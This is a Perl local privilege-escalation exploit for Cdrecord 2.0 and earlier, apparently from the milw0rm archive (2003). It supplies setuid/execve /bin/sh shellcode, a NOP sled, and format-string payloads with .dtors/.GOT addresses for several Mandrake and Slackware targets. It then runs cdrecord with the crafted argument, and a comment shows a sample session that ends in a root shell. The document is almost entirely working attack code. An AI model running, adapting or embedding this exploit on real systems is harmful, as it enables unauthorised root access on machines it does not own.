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- #!/usr/bin/perl
- ###########################################################
- # Cdrecord version 2.0 and < local root exploit.
- #
- #
- # [wsxz@localhost buffer]$ perl priv8cdr.pl 4
- # Using target number 4
- # Using Mr .dtors 0x808c82c
- # Cdrecord 2.0 (i586-mandrake-linux-gnu)
- #
- # scsibus: -1 target: -1 lun: -1
- # Warning: Open by 'devname' is unintentional and not supported.
- # /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open SCSI driver.
- # /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you are root.
- # /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord dev=help'.
- # sh-2.05b# id
- # uid=0(root) gid=0(root) groups=503(wsxz)
- # sh-2.05b#
- #####################################################
- $shellcode =
- "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
- "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
- "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
- "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
- "\xff\xff/bin/sh";
- $cdrecordpath = "/usr/bin/cdrecord";
- $nop = "\x90"; # x86 NOP
- $offset = 0; # Default offset to try.
- if (@ARGV == 1 || @ARGV == 2) {
- $target = $ARGV[0];
- $offset = $ARGV[1];
- }else{
- printf(" Priv8security.com Cdrecord local root exploit!!\n");
- printf(" usage: $0 target\n");
- printf(" List of targets:\n");
- printf(" 1 - Linux Mandrake 8.2 Cdrecord 1.11a15\n");
- printf(" 2 - Linux Mandrake 9.0 Cdrecord 1.11a32\n");
- printf(" 3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by default!!!\n");
- printf(" 4 - Linux Mandrake 9.1 Cdrecord 2.0\n");
- exit(1);
- }
- if ( $target eq "1" ) {
- $retword = 0x0807af38; #Mr .dtors ;)
- $fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
- }
- if ( $target eq "2" ) {
- # $retword = 0x08084578; #.dtors
- $retword = 0x08084684; #.GOT exit
- $fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
- }
- if ( $target eq "3" ) {
- $retword = 0x0807f658;
- $fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
- }
- if ( $target eq "4" ) {
- $retword = 0x0808c82c; #.GOT exit
- $fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
- }
- printf("Using target number %d\n", $target);
- printf("Using Mr .dtors 0x%x\n",$retword);
- $new_retword = pack('l', ($retword));
- $new_retshell = pack('l', ($retshell));
- $buffer2 = $new_retword;
- $buffer2 .= $nop x 150;
- $buffer2 .= $shellcode;
- $buffer2 .= $fmtstring;
- exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");
- # milw0rm.com [2003-05-14]
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